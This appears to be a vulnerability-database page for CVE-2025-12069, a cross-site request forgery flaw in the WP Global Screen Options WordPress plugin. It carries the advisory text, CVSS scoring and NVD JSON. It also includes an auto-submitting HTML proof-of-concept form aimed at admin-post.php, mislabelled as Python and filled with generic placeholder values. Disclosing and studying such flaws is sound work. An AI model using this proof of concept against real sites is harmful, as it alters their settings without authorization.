Security Vulnerability Report
中文
CVE-2025-12069 CVSS 4.3 MEDIUM

CVE-2025-12069

Published: 2025-11-04 04:15:37
Last Modified: 2026-04-15 00:35:42

Description

The WP Global Screen Options plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.2. This is due to missing nonce validation on the `updatewpglobalscreenoptions` action handler. This makes it possible for unauthenticated attackers to modify global screen options for all users via a forged request granted they can trick an administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Global Screen Options plugin <= 0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-12069 --> <!-- This PoC demonstrates the CSRF vulnerability in WP Global Screen Options plugin --> <!-- It modifies global screen options for all users --> <!DOCTYPE html> <html> <head> <title>CSRF PoC - CVE-2025-12069</title> </head> <body> <h1>CVE-2025-12069 CSRF PoC</h1> <p>This page will automatically submit a CSRF attack.</p> <!-- Auto-submit form to exploit CSRF vulnerability --> <form id="csrfForm" action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST" style="display:none;"> <input type="hidden" name="action" value="updatewpglobalscreenoptions"> <input type="hidden" name="wpglobalscreenoptions" value="malicious_option_value"> <input type="hidden" name="screen_options[]" value="hidden"> <input type="hidden" name="screen_layout" value="2"> </form> <script> // Automatically submit the form when page loads document.getElementById('csrfForm').submit(); </script> <!-- Alternative: URL-based CSRF attack --> <!-- <a href="http://target-wordpress-site/wp-admin/admin-post.php?action=updatewpglobalscreenoptions&wpglobalscreenoptions=malicious">Click me</a> --> </body> </html> <!-- Notes: - Replace 'target-wordpress-site' with the actual target URL - The attacker needs to trick a logged-in administrator into visiting this page - The request will be executed with the administrator's privileges - No nonce validation is performed by the vulnerable plugin -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12069", "sourceIdentifier": "[email protected]", "published": "2025-11-04T04:15:37.270", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Global Screen Options plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.2. This is due to missing nonce validation on the `updatewpglobalscreenoptions` action handler. This makes it possible for unauthenticated attackers to modify global screen options for all users via a forged request granted they can trick an administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-global-screen-options/tags/0.2/wp_global_screen_options.php#L16", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/dae86d7c-3bbb-4872-acd7-08ff8d437b8e?source=cve", "source": "[email protected]"}]}}